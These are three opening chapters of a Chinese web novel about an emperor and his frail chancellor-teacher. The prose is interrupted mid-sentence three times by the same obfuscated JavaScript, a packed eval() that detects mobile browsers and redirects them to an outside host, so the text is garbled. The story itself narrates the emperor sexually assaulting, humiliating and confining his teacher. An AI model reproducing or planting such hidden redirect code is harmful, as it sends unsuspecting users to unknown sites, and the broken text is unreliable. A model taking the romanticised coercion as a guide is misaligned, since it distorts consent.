《病美人权臣死遁后暴君他疯了》 1. 第 1 章 漫天的雪洋洋洒洒,整个京城都被白雪覆盖,地面上也积着一层厚雪。 “那是……林相的马车吧?”有人一边收拾着摊位,一边瞥见了街道上远远驶来的马车。 按理来说只有皇帝出行百姓才会跪下,可这会儿街道两边的百姓看见这马车,纷纷跪下俯首帖耳,不敢造次。 有跪在后边的外乡人见状,忙问身边的人:“这林相又不是皇帝,怎么都要跪他啊?” 旁边的人连忙捂着他的嘴,低声道:“你不知道,林丞相权倾朝野,谁敢在他面前造次?” 那外乡人更不解:“就算他权力再大,也大不过陛下吧,怎么能受万民跪拜呢?” 旁边的人见状,同他稍微拉开了距离,生怕被连累,但还是小声给他解释:“林丞相可是当今陛下的老师,在陛下面前他无需行礼,甚至上朝还要赐座,别说驳斥陛下,就是当朝骂也骂得!” 马车渐渐从他们眼前驶过,只留下一串车轴印,众人才纷纷松了一口气。 那外乡人又接着问:“那也不合规矩,而且你们怎么跟见了阎王似的,一个个这么怕?” 旁边的人接着收拾东西,这会儿马车走远,仗着林怀玉听不到,便开始讲了起来:“不仅我们怕,整个大雍就没有不怕他的吧!你可能不知道,林怀玉这人心狠手辣,手上冤魂无数,就连皇子和前太子他都杀得,这世上就没有他不敢做的事,不敢杀的人!” 那外乡人顿时一惊:“皇亲国戚都能杀?这……咱们陛下还能留他?” 旁边人叹了一声:“陛下重情重义啊,林丞相是他的老师,总不能登上了龙椅就杀了老师过河拆桥吧!” 外乡人愤愤道:“如此不把天子放在眼里,我看这林丞相迟早被陛下赐死!” “嘘嘘!你不要命了!这要是让林丞相听见,九族都不够你霍霍的。”众人虽然拦着那外乡人不让他说,可心里却都赞成这话呢。 “回家咯!” 傍晚夕阳正好,在白雪皑皑的街道上洒下一片金箔,车轱辘碾过两条雪地里的印子,摇摇晃晃地将马车里的轻咳声掩盖。 雕花马车里十分宽敞,一道雪一般的人影蜷在狐狸毯子上,紫色宮服散在白色的毯子上,重重叠叠间露出一截皓腕,纤细雪白,却没有多少血色。 躺着的人被自己咳醒,整个人因为咳嗽剧烈起伏着,又不想从暖和的毯子上起来,像只狐狸团吧团吧又把自己卷了起来。 马车外数九寒天,马车内倒是十分暖和。 良久,马车停下,外面的管家敲了敲马车的门,恭声道:“丞相,到宫门口了。” 躺着的人这才有了些动静,他抖着羽睫睁开眼睛,从狐狸毛毯上起来,怀里还捧着个汤婆子,墨色的长发随着他起身的动作散了下来,一双桃花眼中水光潋滟。 此时宫门口到了不少大臣,看见林府的马车,纷纷停下了步子,只见一只素白骨节分明的手从马车之内伸出来,搭在了车沿,紫色宮服的林怀玉从马车中探了身子出来,身姿修长,清冷如月。 尤其是那张脸,这世间无人能及。 人人都道,见过林丞相,这世间再难有容颜入得了眼了,也不知是福是祸。 “林丞相也到了,下官远远看着真是谦谦君子,如琢如磨的白玉啊。”有大臣连忙迎了上来,阿谀奉承着林怀玉。 林怀玉离开马车换上冷淡疏离的神色,唇角漾出一抹淡笑,客气道:“谭大人过誉了,陛下还等着呢。” “是是是,林丞相先请。” 边疆捷报频传,将军得胜回朝,陛下特设庆功宴邀群臣共贺,宫道上的落雪早被宫人打扫得干干净净,林怀玉走在最前面,被公公引着到了后花园。 只见那宴席上方端坐的天子墨发高束,龙纹衣袍披在身上,黑色斗篷扔在一边,一手支颐着脑袋,慵懒地朝着群臣的方向望来。 众人连忙上前跪拜:“陛下万岁。” 唯有林怀玉站在那里,同天子对视,不用跪拜,站着微微行礼。 宿泱的目光在林怀玉单薄的肩头顿了顿:“免礼吧,庆功宴不用拘谨,人齐了就开始吧。” 群臣闻言起身落座,林怀玉坐在最前边,离宿泱最近的位置。 宿泱朝着林怀玉的对面遥遥举杯:“大将军凯旋而归,朕当敬你一杯。” 薛铭连忙起身,恭声道:“陛下折煞末将了,理该是末将敬陛下才对,只愿大雍日后国泰民安,风调雨顺!” 如此一来,众人纷纷举杯庆祝。 酒过三巡,群臣也都自在了些许,有不少人敬完宿泱又跑去敬林怀玉。 “林相早到了适婚的年纪,一直未娶,不知道可有喜欢的女子啊?” “林相才华横溢,容颜绝世,又是位高权重,这哪家的姑娘嫁给了你,可真是好福气啊!” “哎,林相,我家小女待字闺中,与林相只差五岁,琴棋书画样样精通,林相可愿相见啊?” 林怀玉架不住多喝了几杯,这会儿白皙的脸上染了一层绯色,但他眼底清明,神色如常,众人皆以为林怀玉并未喝醉,只是比平日要好说话一些,令他们觉得新奇。 直到林怀玉又饮下一杯酒,低咳了起来。 “老师穿得这样单薄,这后花园的风都要将你吹倒了。” 身后传来宿泱微沉的声音,林怀玉觉得身上一沉,黑色的斗篷被罩在了他的身上,将周遭的冷风尽数挡在了外面,林怀玉有些僵硬的手指蜷了蜷,道:“多谢陛下。” 众人见宿泱过来,连忙恭维了几句便散了开去。 宿泱替林怀玉披上斗篷,搭在肩头的手却不曾收回去,像是将林怀玉搂在怀里,声音不冷不淡:“老师有娶妻的打算?” 林怀玉没有动,任由宿泱的手搭在他的肩头:“暂时没有。” 宿泱的声音听不出来对这个回答是满意还是不满意,只道:“暂时没有,那就是以后会有。” 林怀玉倒是听出来了,宿泱大概是喝醉了,他有些无奈道:“以后的事现在说不准,还是等以后再说吧。” 他拍开宿泱的手,转身望向对方:“宴席将散,臣也告退了。” 他正要离开,却被宿泱攥住了手:“老师许久没进宫了,好不容易来一趟,陪朕走会吧。” 林怀玉对上宿泱有些委屈的眼神,感受着掌心传来的热意,心软着答应了。 两道身影避开群臣,在后花园的宫道上漫步,微晃的烛火一字排开,为他们点亮脚下的路,冷风吹在林怀玉的脸上,却不觉得冷,反而是掌心的温度越来越高,烫得他想要松手。 于是他停下了步子,甩了甩手,没能甩开宿泱紧握着他的手:“陛下纵使喝醉了,如今也二十有一了,怎么还同微臣撒娇呢?” “朕和老师也就差五岁。” 林怀玉说话的同时,宿泱也突然说了句摸不着头脑的话,林怀玉有些疑惑地看着宿泱,却缓缓皱起了眉头:“说什么呢?微臣送陛下回宫吧,陛下今晚喝的太多了。” 宿泱却不肯走,反而整个人都靠在了林怀玉的身上,将脑袋搁在了林怀玉的肩头:“朕好热,老师,帮帮朕。” 林怀玉一愣,宿泱的体温很不正常,喷洒在他脖颈间的热意烫得他直想躲开,他推了推宿泱,道:“陛下回宫吧,臣去请太医……” 他话还没说完,感受到宿泱不自然的反应,脸上一顿,他被宿泱抱在怀里,紧贴着,周围随时可能过来人,林怀玉退开一步,同宿泱拉开距离,声色微冷:“什么人这么大的胆子,竟敢给天子下药!” 他说着便要甩开宿泱的手,先去叫人,然而攥着他手腕的力道骤然收紧,他险些摔在地上,又被宿泱长臂一探捞了回去。 “差五岁就可以,那朕也可以,老师,留下来吧。”宿泱的手探入斗篷,落在林怀玉的腰间,将碍事的腰带一把扯下。 林怀玉连忙去推宿泱,只是他的力道敌不过宿泱,只能被那人按在怀里,拉扯间斗篷落在了地上,冷风瞬间将林怀玉包裹,寒气直逼肺腑,林怀玉顿时咳了起来:“陛下,松手!你可知道我是你的老师!” “知道,朕当然知道。” 说话间,宿泱的手已然探入了林怀玉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583533|171616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的衣袍,贴在了他的腰间。 林怀玉狠狠一抖,挣扎着呵斥道:“既然知道还不松开?陛下是要罔顾纲常吗?!” 宿泱嗤笑了一声,轻蔑道:“朕何时在意过这些东西。” 林怀玉见势不妙,冷声脱口:“臣是陛下的老师,陛下不能这么做,臣明日就去谭大人府上提亲,还请陛下放臣出宫。” 宿泱的眸光陡然沉了下来,那气息如同空中的冷雪拍打在林怀玉的脸上:“你说什么?” 林怀玉感觉到宿泱的怒意,但这会儿只想让眼前的人停下来,他现下衣袍散乱,若是宫人路过看到,只怕说不清楚了。 “臣说明日就去谭大人府上提亲,臣二十六是该娶妻了,陛下一道圣旨予臣赐婚……唔……” 林怀玉的话尚未说完,尽数被宿泱堵了回去,他的眼睛陡然睁大,不可置信地看着宿泱。 仅仅一瞬间的愣神,他的外袍便被宿泱褪下了肩头,林怀玉拼命挣扎了起来,却只是被宿泱按在了草地上,那人倾身压在他的身上,叫他无法挣扎,密密麻麻的吻落在他的唇上,林怀玉红着眼眶道:“陛下!宿泱!你清醒点!” 只可惜,宿泱只是按着他的手,架着他的腿,笑的有恃无恐:“老师可以再大声一些,把那些宫人和还没走远的大臣们都喊过来,看看你是如何在天子身下承.欢的。” 林怀玉顿时僵在原地,周遭的冷那样刺骨,令他的身子都变得僵硬,他听见宿泱在他耳边道:“你说谭大人见到这样寡廉鲜耻的林相,还会不会把自己的女儿嫁给你?” 畜生! 林怀玉话还没骂出口,宿泱重新吻住了他,将他压在草地里,任由风雪与寒意拍打在他的身上,冻僵的手被宿泱紧紧攥在掌心,直到他的反抗逐渐变弱,意识渐渐模糊。 夜,还漫长。 “咳咳咳咳!” 林怀玉被自己好一阵咳嗽咳醒,牵一发而动全身,只觉得整个人好似从中间劈成了两半,巨大的疼痛与酸楚蔓延,浑身仍有烫意。 喉咙都在撕扯着,林怀玉连一根手指头都不想动,他颤着眼皮缓缓睁开,昨晚的回忆如潮水般涌向他。 他正要发怒,对上的却是太医院掌院的目光。 林怀玉扫了一圈,没有看到宿泱的身影。 他看了一眼窗外的天色,早朝都快结束了,是他起晚了。 掌院周历收了把脉的垫子,语重心长道:“林相中了毒可知道?” 林怀玉压下怒火,丝毫不意外:“知道。” 周历这才面色稍霁,但眉间仍然化不开的结:“这毒已久,早已侵蚀五脏六腑,如今已在心脉,下官行医多年,对这毒无法下判断,更遑论根治,只能先用药吊一吊,但……” 林怀玉看着周历,面色苍白,带着非血色的红,平静道:“掌院但说无妨。” “恕下官直言,林相恐怕时日无多,命不久矣。”周历重重叹息了一声,人人都道林怀玉只手遮天,连陛下也不放在眼里,独断专行,心狠手辣,这样的人面对自己活不久了这件事,竟也如此云淡风轻。 林怀玉的脸上没有丝毫意外的神色,他身上的毒确实很久了,这么多年体弱多病都是因为这个毒,当年宿泱入主东宫,先帝忌惮这个羽翼渐丰的冷宫皇子,一杯毒酒送到了东宫,是林怀玉拦下了那杯毒酒。 思绪渐渐回笼,他垂眸问:“我还能活多久?” 周历算了算,如实道:“若是调养的好,或许……一年,若是调养不好,林相下一次吐血,便是药石罔效之际。” 林怀玉静静地听着,本来身上就没什么力气,这会儿尽数散了,良久,他对周历道:“此事不用报与陛下。” 周历顿了顿,犹豫道:“这……” 林怀玉瞥了他一眼,眼底聚上了冷意,威胁道:“周掌院如今年过四十,正是儿孙绕膝的时候,莫要因为本相的病情连累你家破人亡啊。” 周历咽了咽口水,早听说林怀玉心狠手辣冷酷无情,从前不曾打过交道,如今见识了,果真是翻脸无情。 “下官……明白了。” 2. 第 2 章 天光从窗外倾泻进来,落在床榻上,将躺着人照得分外柔和。 林怀玉那一截露在被子外面的手正好将一抹光拢在手心里,可他没有力气去握住,只能静静地垂在床沿,红色的一圈痕迹便显得格外刺眼,也不知道昨晚究竟有多么激烈。 他赶不上早朝便又睡了个回笼觉,屋外很冷,屋内地龙却烧得极旺。 没过多久,林怀玉再次醒过来,他听见门口有人在说话。 “看过了?他怎么样?”宿泱的声音带了点轻快的感觉,似乎心情不错。 周历犹豫了一下,终究还是妥协道:“林大人没什么事,只是身子有些虚,下官开些补身子的药给他喝就是了。” 宿泱随意颔首,让周历回太医院,自己推门而入。 那光被宿泱从门口推了进来,却又被他尽数挡在身后,林怀玉看不到外面的天光,也看不清宿泱的神色。 门轻轻合上,光又被挡在了外面。 “老师醒了?”宿泱摘了珠帘朝冠,朝着床榻走来,声音还带着浓重的倦意与餍足。 林怀玉憋了一早上的气,这会儿身上恢复了些力气,但该疼该酸的地方仍旧又酸又疼,尤其是那个难以启齿的地方。 “你还知道我是你的老师?!”林怀玉撑着自己的身子坐了起来,轻轻一动便扯着身上各处的伤痕,气急地忍不住咳了两声。 宿泱毫不在意,他在床边坐了下来,看着林怀玉,目光带着欣赏:“朕当然知道,朕一直都知道啊。” 林怀玉被宿泱的理直气壮气笑了,他冷着脸问:“既然知道,为什么做那种事?纵使昨晚被下了药,我不信你理智全无!” 宿泱瞥见林怀玉露在外面带着伤痕的那截手腕,伸手攥住,细细摩挲着:“朕自然很清醒,朕就是想要老师,如此一来,老师还要同朕求那道赐婚圣旨吗?” 林怀玉想要将手抽回来,奈何身上发软,力气尚未恢复,也不是宿泱的对手,只能眼睁睁看着宿泱揉着他的手腕,在他那截红痕上再次留下更深的痕迹。 昨晚的记忆再度朝他涌来,他被宿泱扣住双手,拼命挣扎却只能将自己的手腕磨红,甚至破皮出血,想要从宿泱身下逃离,却只能被对方攥住手腕,强势地挤入他的指缝,十指相扣。 林怀玉闭了闭眼,心口的起伏却格外剧烈,他冷着脸色道:“自然要求,陛下胆大妄为,置伦理纲常于不顾,但臣身为帝师,不能与陛下共沉沦,唯有娶妻以断陛下所念。” 宿泱攥着林怀玉的手顿时收紧了力道,他的脸色也瞬间沉了下来,方才愉悦的心情一扫而空:“这天下都是朕的,你也是朕的,朕想如何便如何,林怀玉,你看看现在身上这副模样,那谭家小姐若是见了,会喜欢你吗?朕看是唯恐避之不及吧!” 宿泱一边说着,沉着脸掀开了被褥,林怀玉的身体瞬间暴露在空气中,他昨夜被宿泱抱回来未着寸缕,这会儿被子底下仍旧□□,满身的痕迹都暴露在日光之下,青青紫紫,咬痕吻痕,挤都挤不下。 林怀玉心底一惊,没想到宿泱会突然掀了他的被子,连忙伸手去扯被子,试图遮上满身的羞耻,可宿泱攥着他的手,不让他挡,目光如有实质一寸一寸扫过他全身,仿佛在欣赏一件战利品,欣赏林怀玉满身的杰作。 宿泱凑到了林怀玉耳边,嗤道:“老师如今这副模样,当真还能娶妻吗?昨夜求朕慢一些的时候,想过对女人还石更的起来吗?” “你!咳咳咳……”林怀玉耳尖发烫,羞愤欲死,气得连声咳嗽,眼尾都染上了一层水汽。 胡说八道! 然而宿泱空着的一只手贴上了林怀玉的脖颈,顺着那些痕迹一点点抚摸过去:“昨夜老师求朕快一些的时候,可想过如何还能和女子上床同房吗?” 胡说!一派胡言!他根本没有求那些事! 宿泱感觉到一路摸下去,林怀玉轻微的战栗,像是发现了什么好玩的事,笑道:“又或是朕赐给老师雨露君恩时,老师还想着如何成婚生子?” 林怀玉手被攥着,这会儿又很想抬起腿给宿泱一脚,然而他无奈地发现,自己连抬腿的力气都没有,刚一动便传来一阵酸软,小腿好似灌了铅有千钧重。 林怀玉耳尖发烫,阻止宿泱继续说下去:“成亲生子,安身立命,若有一日臣能找到一位愿得一心之人,此生无憾,陛下来日若是立后成婚,臣亦会替陛下欢喜。” “欢喜?”林怀玉话音未落,宿泱便沉声接过,仿佛要将这两个字嚼碎了揉烂了,“怎么?昨晚林相难道不欢喜吗?” 林怀玉皱起了眉头,眼底带着厌色:“陛下,松手!” 那抹厌色似乎刺痛了宿泱,宿泱不仅没有松手,反而将林怀玉一把拽了起来,抵在了桌案之上:“不许用这种眼神看朕!” 冰凉的触感贴在了林怀玉的脊背上,林怀玉吃痛,死死咬住差点脱口而出的惊呼,他的双腿被宿泱架了起来,林怀玉顿时给了宿泱一巴掌:“你知道自己在做什么吗?!昨夜被下了药,今日这药还没散吗?!” 宿泱被打得歪过头去,不见恼怒,反而笑了一声,这世上没人敢打他了,唯有林怀玉。 唯有林怀玉…… 他恶狠狠道:“朕清醒的很,朕不仅昨晚想这么做,朕早就想这么做了,想在老师的身上留下这些痕迹,你看看,多美啊!朕只后悔没有早点这么做。” 林怀玉看着宿泱眼底的疯狂,心底升起一种不好的预感:“宿泱,你疯了吗?我是你的老师,我还是男子……” 宿泱打断了他的话:“男子又如何?老师又如何?你说过的,只要朕想要,无论什么手段,拼命去争到手里便是,这不是你教我的吗?老师。” 最后的“老师”温柔又缱绻,却让林怀玉不寒而栗,他咬着牙道:“我教你的是争太子之位,争九五之尊,争权利,争天下,而不是……” 他。 宿泱却将林怀玉从桌案上扯了起来,将林怀玉拉到了镜子前面,巨大的铜镜原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583534|171616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本用来照衣冠,如今却倒映出两道身影,宿泱衣衫齐整,身着朝服,繁复的衣袍层层叠叠,衬得他衣冠楚楚,而林怀玉未着寸缕,雪白的肌肤上从头到脚都是宿泱在他身上留下的痕迹,没有一处还能看出他原本的模样,就连嘴唇都是肿的。 林怀玉不忍再看,撇过头去,宿泱却不肯放过他,捏着他的下颌骨,强迫他转向铜镜:“老师你看,你那么好看,那么诱人,那些大臣平日里看见你都走不动道,即便你恶名昭彰,他们也仍旧想把自己的女儿嫁给你,你说你勾不勾人?” 林怀玉难以置信地看向宿泱:“你在胡说些什么?” 宿泱看着镜子里的林怀玉,颤着双腿站都站不住的模样,笑道:“朕说错了吗?难道老师不是在勾引他们,勾引朕吗?” 林怀玉被气得一时间不知道说什么,他只觉得宿泱陌生,陌生到似乎这十二年的光阴从来没有看穿过宿泱。 是他错了吗?是他教错了吗? 屋子里安静了一会儿,门外响起了叩门声:“陛下,林相的药熬好了,太医院派人送过来了。” 林怀玉趁机抄起桌案上的被子砸在了门上:“滚!” 他的目光却望着宿泱,这个“滚”字俨然是对着房间里的人说的。 门外立刻没了动静,宿泱看着气得不轻的林怀玉,玩笑道:“老师还有力气发脾气,看来朕昨夜还是不够努力。” 林怀玉又砸了个杯子,这会儿直接砸在了宿泱身上:“宿泱,给我滚出去!” 宿泱接住了砸在他身上的被子,放在桌子上,走到旁边衣架子上取了斗篷罩在林怀玉身上,又亲手将那些痕迹和林怀玉的羞耻遮住,在他耳边道:“林怀玉,你是朕的,娶妻之事,你想都别想。” 宿泱说完,留着林怀玉一个人在屋子里,房门一开一合,那抹黑金色的人影已然消失在了林怀玉眼前。 林怀玉的眼前却是阵阵发黑,耳边是不间断的嗡鸣声,他一手撑在桌子上,勉强维持住身形,看着宿泱离开,眼底是深深的无奈与不解。 为什么会这样?为什么会变成这样? 他这十二年教了宿泱很多东西,识字念书,宫中礼仪,阴谋阳谋,兵法诡计,那些见得了光的见不了光的手段,该教的不该教的全都教了,可唯独有一样东西他没能好好教宿泱。 那就是爱。 他忘了教宿泱怎么喜欢一个人,怎么爱一个人,以至于宿泱分不清对他的感情,也不知道如何真正对待自己喜欢的人。 是他错了,是他没教好宿泱。 林怀玉面带倦色,眼前一阵天旋地转,手上失了力道,再也支撑不住他的身体,整个人倒了下去。 屋子里开着地龙并不冷,但林怀玉体弱,身上除了斗篷没有一件衣物,就这么蜷缩在地上,外头的漫天大雪似乎要冲破屋顶,落在林怀玉的身上,替他盖一层雪织就的毯子。 林怀玉想,就当这一切是场梦,他离开皇宫,离宿泱远远的,就好了。 3. 第 3 章 林怀玉再次醒来的时候仍旧躺在地上,地龙烧得好像比之前更烫,他躺了这么久也没觉得冷。 身上仍旧难受,他动了动,想要起来,却发觉身侧站了个人,不声不响,居高临下地望着他,神色沉郁。 林怀玉不必抬头都知道来人是谁,他拢了拢身上唯一一件蔽体的斗篷,想要将那些痕迹全部挡住,却听见宿泱冷声道:“老师连一件衣服都不穿,赤身果体地躺在这里,是生怕别人进来看不到你?” 林怀玉原本消了大半的气,这会儿听见宿泱的讥讽,不免又抬起了怒火,横眉道:“你又发什么疯?” 宿泱似乎觉得那件斗篷十分碍眼,想看的东西都看不到,倾身一把扯掉了林怀玉身上的斗篷,哼了一声:“老师故意倒在这里,只披了件斗篷,身下的痕迹若隐若现,难道不是在勾引人吗?朕帮帮你,什么都不穿才更勾引人。” 林怀玉有些难堪地抬了抬腿,挡住了刚醒来身上的反应,张口骂道:“混账东西,我的衣服呢?” 宿泱将林怀玉的动作尽收眼底,他蹲下来,层叠的衣袍曳在地上,嗤笑道:“老师还说不欢喜,朕不过离开了一会儿,老师就又想要了啊。” 林怀玉顿时望向宿泱,眼底凝起了冰霜,他不欲辩解,只又问了一遍:“我的衣服呢?” 宿泱笑得放肆,似乎猜到林怀玉有此一问,理所当然道:“老师的衣服自然是昨晚在御花园就被朕撕坏了啊。” 林怀玉眉心微蹙,这会儿也懒得同宿泱君君臣臣了,如同他们还是师徒时那般,吩咐道:“给我拿身衣服来。” 宿泱没动,甚至故意问:“老师要衣服做什么?” 林怀玉没好气道:“自然是要穿。” 宿泱的目光流连在林怀玉的身上,轻轻摇头:“朕觉得老师现在这样很好看,穿上衣服反而不美了。” 林怀玉瞪向宿泱,眼中含着警告的意味:“少用那种眼神看着我。” 只是旁人或许会怕林怀玉,宿泱却是不怕的,他捡起林怀玉垂落在地上的发梢,捏在指尖把玩:“老师想要衣服,然后呢?穿上衣服,出宫吗?” 林怀玉想也不想,声冷如泉:“自然。” 宿泱唇角的笑意越深,眼底的墨色也更浓,他一把将林怀玉从地上拽了起来,狠狠丢到床榻上:“老师如此急着出宫准备做什么?去谭大人府上提亲?” 还好床榻很软,林怀玉摔在上面没有昨晚撞到桌案上那样疼,但许是昨夜磕到了后腰,这会儿腰那块酸疼得要命,他蜷在床上,嘴上不饶:“陛下既然不肯下旨赐婚,臣自然只能备三书六礼去提亲,陛下也管不着。” “好!林怀玉,你好的很!”宿泱如同一只狼扑向了林怀玉,捏着对方的下颌迫使他抬头,“林相穿上衣服衣冠楚楚,那谭家小姐自然不知这衣衫底下到处都是男人留下的痕迹。” 林怀玉想推宿泱的手,却没力气抬起来,只能攥住对方精致的衣角:“臣终究只是外臣,迟早要出宫的,莫非陛下准备将臣软禁在后宫?” 宿泱笑了起来,那笑声中却没多少真切的笑意:“你不是要出宫吗?好,朕给你两个选择,要么就这样光着身子从沁春宫走出去,要么,求朕把衣服给你。” 林怀玉抬眸看向宿泱,那恶劣的笑容让林怀玉怒火中烧,他好不容易攒了些力气,这会儿抬腿一脚踹在了宿泱身上:“宿泱!你如今是翅膀硬了,坐上龙椅以为我就不敢教训你了吗?!” 纵使林怀玉积攒了些力气,在宿泱身上终究使不出来多少,宿泱攥住了林怀玉的脚踝,捏在掌心把玩了起来,如同把玩那缕发梢:“那么老师选好哪条路了吗?” 林怀玉使劲将脚抽回来,却被宿泱按着抵在了胸口上,他冷冽道:“不选!” 宿泱看着林怀玉被自己气得眼尾发红,觉得甚是有趣,提着唇角道:“既然老师不选,那朕来替你选。” 他话音一落,林怀玉便被宿泱从床上提了起来,拉着他就朝门口走去,那沁春宫的大门就要被宿泱拉开。 林怀玉静静地看着宿泱的动作,然而下一秒,宿泱确实拉开了门,黄昏的霞光从门外透进来,若不是宿泱挡着,便要洒在林怀玉残破的身上了。 林怀玉眼疾手快,一把将门重新合上,怒斥道:“宿泱,你疯了?!” 他没想到宿泱真会这么做,一怒之下,又咳了好半天,胸腔里的心脏差点跳出来。 方才开门的一瞬间,他隐约还听到了不远处宫人的声音。 也不知道看到了没有…… 宿泱推开的门被强行合上,眉头一挑,眼底浮现出戏谑的神色:“老师的反应这么大,看样子心里也很期待吧?” 林怀玉一手撑在门上,一手被宿泱攥着,支撑着他站在原地,轻缓着胸膛的起伏。 因为咳嗽,林怀玉的眼眶中蓄了水汽,看向宿泱,那冷冽的眸光里竟少了些威慑力:“宿泱,我教你的尊师重道你都喂狗了吗?” 宿泱笑了笑,竟然没有辩驳:“既然老师不选这条路,那就换另一条,求朕。” 他松开了林怀玉的手,就这么直直望着对方,看着对方满身痕迹狼狈的模样,心底一片满足。 他那高高在上疏离禁欲的老师,如今却是全身上下都沾满了他留下的痕迹,连一件衣物都要求他才能得到。 想想便让人兴奋。 “求朕给你衣服。”宿泱又说了一遍。 林怀玉冷冷地看了他一眼,一身傲骨即便不着寸缕也难掩那凛霜的气质:“臣便是不求,陛下又能如何?弑师吗?” 两人便这么对峙上了,宿泱确实不可能杀林怀玉,于是走到衣柜前,一边取出衣服,一边道:“无妨,总有一日老师会跪着求朕的,我们来日方长。” 林怀玉瞥了一眼宿泱递过来的衣服,没接:“这不是臣的衣服。” 宿泱的嗓音发出低沉的笑来:“自然,朕说过了,老师的衣服已经被朕撕了,这宫里没有老师的衣服,还是说,天子赐衣,老师拒而不从?” 林怀玉这会儿也没别的办法,只好接过那身玄衣金绣的锦服穿在身上。 宿泱的身量比他高大一些,衣服穿在他的身上有些宽松,那腰带系上又掉,被宿泱捡在了手里,揽着他的腰替他系:“老师的腰实在太细了,昨夜朕都怕弄断了你。” 林怀玉不想听宿泱的污言秽语,腰带一系上,林怀玉抬腿就走,宿泱却立刻按住了门,神色顿时沉了下来:“老师就这么着急离开朕?” 林怀玉淡淡瞥他,给了他一个“你心知肚明”的眼神,道:“臣该出宫了,再晚,宫门又要落锁了。” 宿泱看着林怀玉急切的模样,恨不得立刻逃离他的身边,眼底又聚上一层阴霾:“朕不准林相出宫,谁敢放你离开?” 林怀玉眉头拧了起来:“陛下这是要软禁臣吗?” 宿泱看着林怀玉穿着自己的衣袍,浑身上下,从里到外,全都属于自己,心却只想飞出宫外,沉声道:“是又如何?” 林怀玉转身,问:“敢问陛下,臣犯了什么罪?” 宿泱随口道:“林相冲撞天子,朕不能罚你吗?” 林怀玉正色道:“既然如此,便请大理寺将臣押下去,依律处置。” 宿泱咬了咬牙,恨声道:“你就这么不愿意待在朕的身边?宁可进大理寺下狱?!” 林怀玉神色淡漠,没有言语却给出了答案与立场。 “好,好,好!”宿泱气急,穿上衣服,林怀玉像是筑起了壳,又是人前那个心狠手辣冷漠无情的权臣,宿泱讨厌林怀玉这副模样,“朕偏不让你出宫!” 宿泱撂下这句话,开门便走,阴沉着脸,宫人见了他头也不敢抬,生怕惹怒了本就满腔怒火的帝王。 林怀玉被关在门内,没有宿泱的准许,他确实走不出这宫门,只能坐下来给自己倒了杯水。 好在宿泱夜里并没有回来,唯有御膳房送来了晚膳。 林怀玉看着一桌子的菜,没有任何胃口,怒意在胃里翻江倒海。 宿泱没有一点要放他出宫的意思,还说来日方长,难不成要一直将他软禁在沁春宫吗? 成何体统! 林怀玉走到门口,拉开门,两边的宫人立刻拦住了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583535|171616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他,低声道:“丞相,陛下吩咐了,让您好好用膳。” 林怀玉看了一眼宫人,两个小太监抖着身子颤颤巍巍的,眼睛恨不得长到地里去。 他无声轻叹,抬头看了一眼月色,重新关上了门。 两个小太监拦不住他,但宫门口的侍卫会将他拦下,林怀玉向来不做徒劳无功的事。 他扫了一眼桌上的餐食,没有任何胃口,转身歇息去了。 罢了,明日上朝,当着群臣的面一块出宫,宿泱应该拦不住他了吧。 . “没吃?”沁春宫门外响起了宿泱的声音,仅仅两个字,压迫感却极强。 宫人跪了一地,德福瞥了一眼宿泱的脸色,连忙指着那些宫人训斥:“你们怎么办事的?陛下昨个儿不是吩咐了让你们照看好林大人吗?你们就是这么照顾贵人的?!平日里教的都喂到狗肚子里去了?” 宫人们连声求饶:“陛下恕罪!” 宿泱负手而立,望着沁春宫紧闭的房门,故意道:“一群废物,拖下去,杖杀了吧。” “陛下恕罪啊!!!!” 院子里一片哀嚎,房门猛的打开,林怀玉仍旧穿着宿泱给的那身衣服,黑袍曳地,好似清冷的月被拽下了深渊,可他的眸光仍旧清冷:“住手。” 宿泱眼前一亮,唇角不自觉扬了起来:“老师终于肯出来见朕了?” 林怀玉又气又无奈:“臣不敢。” 宿泱抬手一挥,德福立刻把宫人都遣了下去。 还好林大人及时出来,救了他们的贱命。 沁春宫顿时一空,宿泱款步走向林怀玉,问:“老师为什么不吃饭?是不合胃口吗?” 林怀玉移开视线:“吃不下。” 宿泱不以为意,又问:“是在生朕的气?” 林怀玉淡淡道:“臣不敢。” 宿泱走到了林怀玉的身后,一手按在了林怀玉的肚子上,将人按进了自己怀里,整个人将对方笼罩着,在林怀玉耳边低声道:“老师要救那些宫人,是不是应该求朕呢?” 林怀玉感受着肚子上的桎梏,抿唇道:“臣教的是一位明君,而不是一位暴君。” 宿泱对此不置可否:“他们眼中朕是明君,那在老师眼里,朕是什么呢?” 林怀玉轻叹一声,软了软声音:“你是个乖孩子,时辰不早了,该去上朝了。” 